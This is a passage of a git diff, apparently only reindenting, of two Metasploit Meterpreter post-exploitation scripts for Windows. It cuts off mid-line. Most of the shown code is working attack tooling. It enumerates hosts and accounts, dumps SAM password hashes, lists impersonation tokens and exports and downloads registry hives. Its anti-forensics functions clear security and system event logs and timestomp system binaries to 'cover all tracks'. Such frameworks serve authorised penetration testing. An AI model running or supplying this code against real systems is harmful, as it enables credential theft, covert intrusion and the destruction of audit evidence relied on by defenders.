interfaces," + print_line "routing, user accounts, and much more. Results are" + print_line "stored in #{::File.join(Msf::Config.log_directory,'scripts', 'winenum')}" + print_line(opts.usage) + raise Rex::Script::Completed + end } #------------------------------------------------------------------------------- @@ -50,436 +50,436 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'winenum',Rex::FileUtils # Commands that will be ran on the Target commands = [ - 'cmd.exe /c set', - 'arp -a', - 'ipconfig /all', - 'ipconfig /displaydns', - 'route print', - 'net view', - 'netstat -nao', - 'netstat -vb', - 'netstat -ns', - 'net accounts', - 'net accounts /domain', - 'net session', - 'net share', - 'net group', - 'net user', - 'net localgroup', - 'net localgroup administrators', - 'net group administrators', - 'net view /domain', - 'netsh firewall show config', - 'tasklist /svc', - 'tasklist /m', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z' + 'cmd.exe /c set', + 'arp -a', + 'ipconfig /all', + 'ipconfig /displaydns', + 'route print', + 'net view', + 'netstat -nao', + 'netstat -vb', + 'netstat -ns', + 'net accounts', + 'net accounts /domain', + 'net session', + 'net share', + 'net group', + 'net user', + 'net localgroup', + 'net localgroup administrators', + 'net group administrators', + 'net view /domain', + 'netsh firewall show config', + 'tasklist /svc', + 'tasklist /m', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z' ] # Windows 2008 Commands win2k8cmd = [ - 'servermanagercmd.exe -q', - 'cscript /nologo winrm get winrm/config', + 'servermanagercmd.exe -q', + 'cscript /nologo winrm get winrm/config', ] # Commands that MACE will be changed cmdstomp = [ - 'cmd.exe', - 'reg.exe', - 'ipconfig.exe', - 'route.exe', - 'net.exe', - 'netstat.exe', - 'netsh.exe', - 'makecab.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'gpresult.exe' + 'cmd.exe', + 'reg.exe', + 'ipconfig.exe', + 'route.exe', + 'net.exe', + 'netstat.exe', + 'netsh.exe', + 'makecab.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'gpresult.exe' ] # WMIC Commands that will be executed on the Target wmic = [ - 'useraccount list', - 'group list', - 'service list brief', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe', + 'useraccount list', + 'group list', + 'service list brief', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe', ] #Specific Commands for Windows vista for Wireless Enumeration vstwlancmd = [ - 'netsh wlan show interfaces', - 'netsh wlan show drivers', - 'netsh wlan show profiles', - 'netsh wlan show networks mode=bssid', + 'netsh wlan show interfaces', + 'netsh wlan show drivers', + 'netsh wlan show profiles', + 'netsh wlan show networks mode=bssid', ] # Commands that are not present in Windows 2000 nonwin2kcmd = [ - 'netsh firewall show config', - 'tasklist /svc', - 'gpresult /SCOPE COMPUTER /Z', - 'gpresult /SCOPE USER /Z', - 'prnport -l', - 'prnmngr -g', - 'tasklist.exe', - 'wbem\\wmic.exe', - 'netsh.exe', + 'netsh firewall show config', + 'tasklist /svc', + 'gpresult /SCOPE COMPUTER /Z', + 'gpresult /SCOPE USER /Z', + 'prnport -l', + 'prnmngr -g', + 'tasklist.exe', + 'wbem\\wmic.exe', + 'netsh.exe', ] # Executables not pressent in Windows 2000 nowin2kexe = [ - 'netsh.exe', - 'gpresult.exe', - 'tasklist.exe', - 'wbem\\wmic.exe', + 'netsh.exe', + 'gpresult.exe', + 'tasklist.exe', + 'wbem\\wmic.exe', ] ################## Function Declarations ################## def findprogs() - print_status("Extracting software list from registry") - proglist = "" - threadnum = 0 - a = [] - appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', - 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] - appkeys.each do |keyx86| - soft_keys = registry_enumkeys(keyx86) - if soft_keys - soft_keys.each do |k| - if threadnum < 10 - a.push(::Thread.new { - begin - dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") - dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") - proglist << "#{dispnm},#{dispversion}" - rescue - end - }) - threadnum += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - threadnum = 0 - end - end - end - end + print_status("Extracting software list from registry") + proglist = "" + threadnum = 0 + a = [] + appkeys = ['HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall', + 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall' ] + appkeys.each do |keyx86| + soft_keys = registry_enumkeys(keyx86) + if soft_keys + soft_keys.each do |k| + if threadnum < 10 + a.push(::Thread.new { + begin + dispnm = registry_getvaldata("#{keyx86}\\#{k}","DisplayName") + dispversion = registry_getvaldata("#{keyx86}\\#{k}","DisplayVersion") + proglist << "#{dispnm},#{dispversion}" + rescue + end + }) + threadnum += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + threadnum = 0 + end + end + end + end - file_local_write("#{@logfol}/programs_list.csv",proglist) + file_local_write("#{@logfol}/programs_list.csv",proglist) end # Function to check if Target Machine a VM # Note: will add soon Hyper-v and Citrix Xen check. def chkvm() - check = nil - vmout = '' - info = @client.sys.config.sysinfo - print_status "Checking if #{info['Computer']} is a Virtual Machine ........" + check = nil + vmout = '' + info = @client.sys.config.sysinfo + print_status "Checking if #{info['Computer']} is a Virtual Machine ........" - # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion - begin - key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) - v = open_key.query_value('SystemManufacturer') - sysmnfg = v.data.downcase - if sysmnfg =~ /vmware/ - print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" - vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" - check = 1 - elsif sysmnfg =~ /xen/ - print_status("\tThis is a Xen Virtual Machine.") - check = 1 - end - rescue + # Check for Target Machines if running in VM, only fo VMware Workstation/Fusion + begin + key = 'HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS' + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ) + v = open_key.query_value('SystemManufacturer') + sysmnfg = v.data.downcase + if sysmnfg =~ /vmware/ + print_status "\tThis is a VMware Workstation/Fusion Virtual Machine" + vmout << "This is a VMware Workstation/Fusion Virtual Machine\n\n" + check = 1 + elsif sysmnfg =~ /xen/ + print_status("\tThis is a Xen Virtual Machine.") + check = 1 + end + rescue - end - if check != 1 - begin - #Registry path using the HD and CD rom entries in the registry in case propirtary tools are - #not installed. - key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" - root_key2, base_key2 = @client.sys.registry.splitkey(key2) - open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) - v2 = open_key2.query_value('Identifier') + end + if check != 1 + begin + #Registry path using the HD and CD rom entries in the registry in case propirtary tools are + #not installed. + key2 = "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0" + root_key2, base_key2 = @client.sys.registry.splitkey(key2) + open_key2 = @client.sys.registry.open_key(root_key2,base_key2,KEY_READ) + v2 = open_key2.query_value('Identifier') - if v2.data.downcase =~ /vmware/ - print_status "\tThis is a VMWare virtual Machine" - vmout << "This is a VMWare virtual Machine\n\n" - elsif v2.data =~ /vbox/ - print_status "\tThis is a Sun VirtualBox virtual Machine" - vmout << "This is a Sun VirtualBox virtual Machine\n\n" - elsif v2.data.downcase =~ /xen/ - print_status "\tThis is a Xen virtual Machine" - vmout << "This is a Xen virtual Machine\n\n" - elsif v2.data.downcase =~ /virtual hd/ - print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" - vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" - end - rescue::Exception => e - end - end - vmout + if v2.data.downcase =~ /vmware/ + print_status "\tThis is a VMWare virtual Machine" + vmout << "This is a VMWare virtual Machine\n\n" + elsif v2.data =~ /vbox/ + print_status "\tThis is a Sun VirtualBox virtual Machine" + vmout << "This is a Sun VirtualBox virtual Machine\n\n" + elsif v2.data.downcase =~ /xen/ + print_status "\tThis is a Xen virtual Machine" + vmout << "This is a Xen virtual Machine\n\n" + elsif v2.data.downcase =~ /virtual hd/ + print_status "\tThis is a Hyper-V/Virtual Server virtual Machine" + vmout << "This is a Hyper-v/Virtual Server virtual Machine\n\n" + end + rescue::Exception => e + end + end + vmout end #------------------------------------------------------------------------------- # Function for running a list a commands stored in a array, return string def list_exec(cmdlst) - print_status("Running Command List ...") - i = 0 - a =[] - @client.response_timeout=120 - cmdlst.each do |cmd| - if i < 10 - a.push(::Thread.new { - r,cmdout='',"" - print_status "\trunning command #{cmd}" - r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - cmdout << d - file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) - end - cmdout = "" - r.channel.close - r.close - }) - i += 1 + print_status("Running Command List ...") + i = 0 + a =[] + @client.response_timeout=120 + cmdlst.each do |cmd| + if i < 10 + a.push(::Thread.new { + r,cmdout='',"" + print_status "\trunning command #{cmd}" + r = @client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + cmdout << d + file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout) + end + cmdout = "" + r.channel.close + r.close + }) + i += 1 - else - sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end + else + sleep(0.10) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end - a.delete_if {|x| not x.alive?} while not a.empty? + a.delete_if {|x| not x.alive?} while not a.empty? end #------------------------------------------------------------------------------- # Function for running a list of WMIC commands stored in a array, returns string def wmicexec(wmiccmds= nil) - print_status("Running WMIC Commands ....") - i, a = 0, [] - @client.response_timeout=120 + print_status("Running WMIC Commands ....") + i, a = 0, [] + @client.response_timeout=120 - begin - tmp = @client.fs.file.expand_path("%TEMP%") + begin + tmp = @client.fs.file.expand_path("%TEMP%") - wmiccmds.each do |wmi| - if i < 10 - a.push(::Thread.new { - tmpout = '' - wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" - print_status "\trunning command wmic #{wmi}" - flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" - r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) - sleep(2) - #Making sure that WMIC finishes before executing next WMIC command - prog2check = "wmic.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - # Read output of WMIC - wmioutfile = @client.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - # Create file with output of command - filewrt(flname,tmpout) - # Delete created file on disk - begin - @client.fs.file.rm(wmicfl) - rescue - end + wmiccmds.each do |wmi| + if i < 10 + a.push(::Thread.new { + tmpout = '' + wmicfl = tmp + "\\#{sprintf("%.5d",rand(100000))}.csv" + print_status "\trunning command wmic #{wmi}" + flname = "#{@logfol}/wmic_#{wmi.gsub(/(\W)/,"_")}.csv" + r = @client.sys.process.execute("cmd.exe /c wmic /append:#{wmicfl} #{wmi} /format:csv", nil, {'Hidden' => true}) + sleep(2) + #Making sure that WMIC finishes before executing next WMIC command + prog2check = "wmic.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + # Read output of WMIC + wmioutfile = @client.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + # Create file with output of command + filewrt(flname,tmpout) + # Delete created file on disk + begin + @client.fs.file.rm(wmicfl) + rescue + end - }) - i += 1 - else - sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? + }) + i += 1 + else + sleep(0.01) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end end #------------------------------------------------------------------------------- #Function for getting the NTLM and LANMAN hashes out of a system def gethash() - print_status("Dumping password hashes...") - begin - hash = '' - @client.core.use("priv") - select(nil, nil, nil, 3) - hashes = @client.priv.sam_hashes - hashes.each do |h| - hash << h.to_s+"\n" - end - hash << "\n\n\n" - print_status("Hashes Dumped") - rescue ::Exception => e - print_status("\tError dumping hashes: #{e.class} #{e}") - print_status("\tPayload may be running with insuficient privileges!") - end - flname = "#{@logfol}/hashdump.txt" - file_local_write(flname,hash) + print_status("Dumping password hashes...") + begin + hash = '' + @client.core.use("priv") + select(nil, nil, nil, 3) + hashes = @client.priv.sam_hashes + hashes.each do |h| + hash << h.to_s+"\n" + end + hash << "\n\n\n" + print_status("Hashes Dumped") + rescue ::Exception => e + print_status("\tError dumping hashes: #{e.class} #{e}") + print_status("\tPayload may be running with insuficient privileges!") + end + flname = "#{@logfol}/hashdump.txt" + file_local_write(flname,hash) end #------------------------------------------------------------------------------- #Function that uses the incognito features to list tokens on the system that can be used def listtokens() - begin - print_status("Getting Tokens...") - dt = '' - @client.core.use("incognito") - i = 0 - dt << "****************************\n" - dt << " List of Available Tokens\n" - dt << "****************************\n\n" - while i < 2 - tokens = @client.incognito.incognito_list_tokens(i) - if i == 0 - tType = "User" - else - tType = "Group" - end - dt << "#{tType} Delegation Tokens Available \n" - dt << "======================================== \n" + begin + print_status("Getting Tokens...") + dt = '' + @client.core.use("incognito") + i = 0 + dt << "****************************\n" + dt << " List of Available Tokens\n" + dt << "****************************\n\n" + while i < 2 + tokens = @client.incognito.incognito_list_tokens(i) + if i == 0 + tType = "User" + else + tType = "Group" + end + dt << "#{tType} Delegation Tokens Available \n" + dt << "======================================== \n" - tokens['delegation'].each_line{ |string| - dt << string + "\n" - } + tokens['delegation'].each_line{ |string| + dt << string + "\n" + } - dt << "\n" - dt << "#{tType} Impersonation Tokens Available \n" - dt << "======================================== \n" + dt << "\n" + dt << "#{tType} Impersonation Tokens Available \n" + dt << "======================================== \n" - tokens['impersonation'].each_line{ |string| - dt << string + "\n" - } - i += 1 - break if i == 2 - end - print_status("All tokens have been processed") - rescue ::Exception => e - print_status("Error Getting Tokens: #{e.class} #{e}") - end - file_local_write("#{@logfol}/tokens.txt",dt) + tokens['impersonation'].each_line{ |string| + dt << string + "\n" + } + i += 1 + break if i == 2 + end + print_status("All tokens have been processed") + rescue ::Exception => e + print_status("Error Getting Tokens: #{e.class} #{e}") + end + file_local_write("#{@logfol}/tokens.txt",dt) end #------------------------------------------------------------------------------- # Function for clearing all event logs def clrevtlgs() - evtlogs = [ - 'security', - 'system', - 'application', - 'directory service', - 'dns server', - 'file replication service' - ] - print_status("Clearing Event Logs, this will leave and event 517") - begin - evtlogs.each do |evl| - print_status("\tClearing the #{evl} Event Log") - log = @client.sys.eventlog.open(evl) - log.clear - file_local_write(@dest,"Cleared the #{evl} Event Log") - end - print_status("All Event Logs have been cleared") - rescue ::Exception => e - print_status("Error clearing Event Log: #{e.class} #{e}") + evtlogs = [ + 'security', + 'system', + 'application', + 'directory service', + 'dns server', + 'file replication service' + ] + print_status("Clearing Event Logs, this will leave and event 517") + begin + evtlogs.each do |evl| + print_status("\tClearing the #{evl} Event Log") + log = @client.sys.eventlog.open(evl) + log.clear + file_local_write(@dest,"Cleared the #{evl} Event Log") + end + print_status("All Event Logs have been cleared") + rescue ::Exception => e + print_status("Error clearing Event Log: #{e.class} #{e}") - end + end end #------------------------------------------------------------------------------- # Function for Changing Access Time, Modified Time and Created Time of Files Supplied in an Array # The files have to be in %WinDir%\System32 folder. def chmace(cmds) - windir = '' - print_status("Changing Access Time, Modified Time and Created Time of Files Used") - windir = @client.fs.file.expand_path("%WinDir%") - cmds.each do |c| - begin - @client.core.use("priv") - filetostomp = windir + "\\system32\\"+ c - fl2clone = windir + "\\system32\\chkdsk.exe" - print_status("\tChanging file MACE attributes on #{filetostomp}") - @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) - file_local_write(@dest,"Changed MACE of #{filetostomp}") - rescue ::Exception => e - print_status("Error changing MACE: #{e.class} #{e}") - end - end + windir = '' + print_status("Changing Access Time, Modified Time and Created Time of Files Used") + windir = @client.fs.file.expand_path("%WinDir%") + cmds.each do |c| + begin + @client.core.use("priv") + filetostomp = windir + "\\system32\\"+ c + fl2clone = windir + "\\system32\\chkdsk.exe" + print_status("\tChanging file MACE attributes on #{filetostomp}") + @client.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) + file_local_write(@dest,"Changed MACE of #{filetostomp}") + rescue ::Exception => e + print_status("Error changing MACE: #{e.class} #{e}") + end + end end #------------------------------------------------------------------------------- #Dumping and Downloading the Registry of the target machine def regdump(pathoflogs,filename) - host,port = @client.session_host, @client.session_port - #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress - garbage = '' - hives = %w{HKCU HKLM HKCC HKCR HKU} - windir = @client.fs.file.expand_path("%WinDir%") - print_status('Dumping and Downloading the Registry') - hives.each do |hive| - begin - print_status("\tExporting #{hive}") - r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close - print_status("\tCompressing #{hive} into cab file for faster download") - r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - garbage << d - end - r.channel.close - r.close + host,port = @client.session_host, @client.session_port + #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress + garbage = '' + hives = %w{HKCU HKLM HKCC HKCR HKU} + windir = @client.fs.file.expand_path("%WinDir%") + print_status('Dumping and Downloading the Registry') + hives.each do |hive| + begin + print_status("\tExporting #{hive}") + r = @client.sys.process.execute("cmd.exe /c reg.exe export #{hive} #{windir}\\Temp\\#{hive}#{filename}.reg", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close + print_status("\tCompressing #{hive} into cab file for faster download") + r = @client.sys.process.execute("cmd.exe /c makecab #{windir}\\Temp\\#{hive}#{filename}.reg #{windir}\\Temp\\#{hive}#{filename}.cab", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + garbage << d + end + r.channel.close + r.close - rescue ::Exception => e - print_status("Error dumping Registry Hives #{e.class} #{e}") - end - end - #Downloading compressed registry Hives - hives.each do |hive| - begin - print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") - @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") - file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") - sleep(5) - rescue ::Exception => e - print_status("Error Downloading Registry Hives #{e.class} #{e}") - end - end - #Deleting left over files - print_status("\tDeleting left over files") - @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) + rescue ::Exception => e + print_status("Error dumping Registry Hives #{e.class} #{e}") + end + end + #Downloading compressed registry Hives + hives.each do |hive| + begin + print_status("\tDownloading #{hive}#{filename}.cab to -> #{pathoflogs}/#{host}-#{hive}#{filename}.cab") + @client.fs.file.download_file("#{pathoflogs}/#{host}-#{hive}#{filename}.cab", "#{windir}\\Temp\\#{hive}#{filename}.cab") + file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive") + sleep(5) + rescue ::Exception => e + print_status("Error Downloading Registry Hives #{e.class} #{e}") + end + end + #Deleting left over files + print_status("\tDeleting left over files") + @client.sys.process.execute("cmd.exe /c del #{windir}\\Temp\\HK*", nil, {'Hidden' => 'true'}) end #------------------------------------------------------------------------------- # Function that will call 2 other Functions to cover all tracks def covertracks(cmdstomp) - clrevtlgs() - info = @client.sys.config.sysinfo - trgtos = info['OS'] - if trgtos =~ /(Windows 2000)/ - chmace(cmdstomp - nonwin2kcmd) - else - chmace(cmdstomp) - end + clrevtlgs() + info = @client.sys.config.sysinfo + trgtos = info['OS'] + if trgtos =~ /(Windows 2000)/ + chmace(cmdstomp - nonwin2kcmd) + else + chmace(cmdstomp) + end end #------------------------------------------------------------------------------- @@ -487,80 +487,80 @@ end # for Process Migration #--------------------------------------------------------------------------------------------------------- def launchProc(target) - print_status("Launching hidden #{target}...") + print_status("Launching hidden #{target}...") - # Set the vars; these can of course be modified if need be - cmd_exec = target - cmd_args = nil - hidden = true - channelized = nil - use_thread_token = false + # Set the vars; these can of course be modified if need be + cmd_exec = target + cmd_args = nil + hidden = true + channelized = nil + use_thread_token = false - # Launch new process - newproc = @client.sys.process.execute(cmd_exec, cmd_args, - 'Channelized' => channelized, - 'Hidden' => hidden, - 'InMemory' => nil, - 'UseThreadToken' => use_thread_token) + # Launch new process + newproc = @client.sys.process.execute(cmd_exec, cmd_args, + 'Channelized' => channelized, + 'Hidden' => hidden, + 'InMemory' => nil, + 'UseThreadToken' => use_thread_token) - print_status("Process #{newproc.pid} created.") + print_status("Process #{newproc.pid} created.") - return newproc + return newproc end #------------------------------------------------------------------------------- def migrateToProc(newproc) - # Grab the current pid info - server = @client.sys.process.open - print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") + # Grab the current pid info + server = @client.sys.process.open + print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.") - # Save the old process info so we can kill it after migration. - oldproc = server.pid + # Save the old process info so we can kill it after migration. + oldproc = server.pid - # Do the migration - @client.core.migrate(newproc.pid.to_i) + # Do the migration + @client.core.migrate(newproc.pid.to_i) - print_status("Migration completed successfully.") + print_status("Migration completed successfully.") - # Grab new process info - server = @client.sys.process.open + # Grab new process info + server = @client.sys.process.open - print_status("New server process: #{server.name} (#{server.pid})") + print_status("New server process: #{server.name} (#{server.pid})") - return oldproc + return oldproc end #------------------------------------------------------------------------------- def killApp(procpid) - @client.sys.process.kill(procpid) - print_status("Old process #{procpid} killed.") + @client.sys.process.kill(procpid) + print_status("Old process #{procpid} killed.") end #--------------------------------------------------------------------------------------------------------- # Function to execute process migration def migrate() - target = 'cmd.exe' - newProcPid = launchProc(target) - oldProc = migrateToProc(newProcPid) - #killApp(oldProc) - #Dangerous depending on the service exploited + target = 'cmd.exe' + newProcPid = launchProc(target) + oldProc = migrateToProc(newProcPid) + #killApp(oldProc) + #Dangerous depending on the service exploited end #--------------------------------------------------------------------------------------------------------- #Function for Checking for UAC def uaccheck() - uac = is_uac_enabled? - if uac - print_status("\tUAC is Enabled") - else - print_status("\tUAC is Disabled") - end + uac = is_uac_enabled? + if uac + print_status("\tUAC is Enabled") + else + print_status("\tUAC is Disabled") + end - return uac + return uac end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -568,7 +568,7 @@ unsupported if client.platform !~ /win32|win64/i # Execute Functions selected if (mg != nil) - migrate() + migrate() end # Main part of script, it will run all function minus the ones # that will chance the MACE and Clear the Event log. @@ -590,65 +590,65 @@ trgtos = info['OS'] uac = uaccheck() # Run Commands according to OS some commands are not available on all versions of Windows if trgtos =~ /(Windows XP)/ - if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ - commands.delete('netstat -vb') - commands.delete('netsh firewall show config') - end - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + if trgtos =~ /(2600, \)|2600, Service Pack 1\))/ + commands.delete('netstat -vb') + commands.delete('netsh firewall show config') + end + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows .NET)/ - list_exec(commands) - wmicexec(wmic) - findprogs() - gethash() + list_exec(commands) + wmicexec(wmic) + findprogs() + gethash() elsif trgtos =~ /(Windows 2008)/ - list_exec(commands + win2k8cmd) - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") - else - gethash() - end + list_exec(commands + win2k8cmd) + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows 2008 if not System.") + else + gethash() + end elsif trgtos =~ /Windows (Vista|7)/ - list_exec(commands + vstwlancmd) - # Check for UAC and save results - if uac - file_local_write(@dest,"UAC is Enabled") - else - file_local_write(@dest,"UAC is Disabled") - end - wmicexec(wmic) - findprogs() - if not is_system? - print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") - else - gethash() - end + list_exec(commands + vstwlancmd) + # Check for UAC and save results + if uac + file_local_write(@dest,"UAC is Enabled") + else + file_local_write(@dest,"UAC is Disabled") + end + wmicexec(wmic) + findprogs() + if not is_system? + print_line("[-] Not currently running as SYSTEM, not able to dump hashes in Windows Vista or Windows 7 if not System.") + else + gethash() + end elsif trgtos =~ /(Windows 2000)/ - list_exec(commands - nonwin2kcmd) - gethash() + list_exec(commands - nonwin2kcmd) + gethash() end listtokens() if (rd != nil) - if not uac - regdump(logs,filenameinfo) - else - print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") - end + if not uac + regdump(logs,filenameinfo) + else + print_status("UAC is enabled, Registry Keys could not be dumped under current privileges") + end end if (cm != nil) - if trgtos =~ /(Windows 2000)/ - covertracks(cmdstomp - nowin2kexe) - else - if not uac - covertracks(cmdstomp) - else - print_status("UAC is enabled, Logs could not be cleared under current privileges") - end - end + if trgtos =~ /(Windows 2000)/ + covertracks(cmdstomp - nowin2kexe) + else + if not uac + covertracks(cmdstomp) + else + print_status("UAC is enabled, Logs could not be cleared under current privileges") + end + end end print_status("Done!") diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index d01bc01d57..0e038478a0 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -6,10 +6,10 @@ session = client wininfo = client.sys.config.sysinfo # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], - "-f" => [ true,"File where to saved output of command."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute. The command must be enclosed in double quotes."], + "-f" => [ true,"File where to saved output of command."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -19,112 +19,112 @@ outfile = nil ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmiccmds= nil) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.fs.file.expand_path("%TEMP%") - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - wmiccmds.each do |wmi| - print_status "running command wmic #{wmi}" - print_line wmicfl - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + tmpout = '' + session.response_timeout=120 + begin + tmp = session.fs.file.expand_path("%TEMP%") + wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) + wmiccmds.each do |wmi| + print_status "running command wmic #{wmi}" + print_line wmicfl + r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmi}", nil, {'Hidden' => true}) + sleep(2) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe 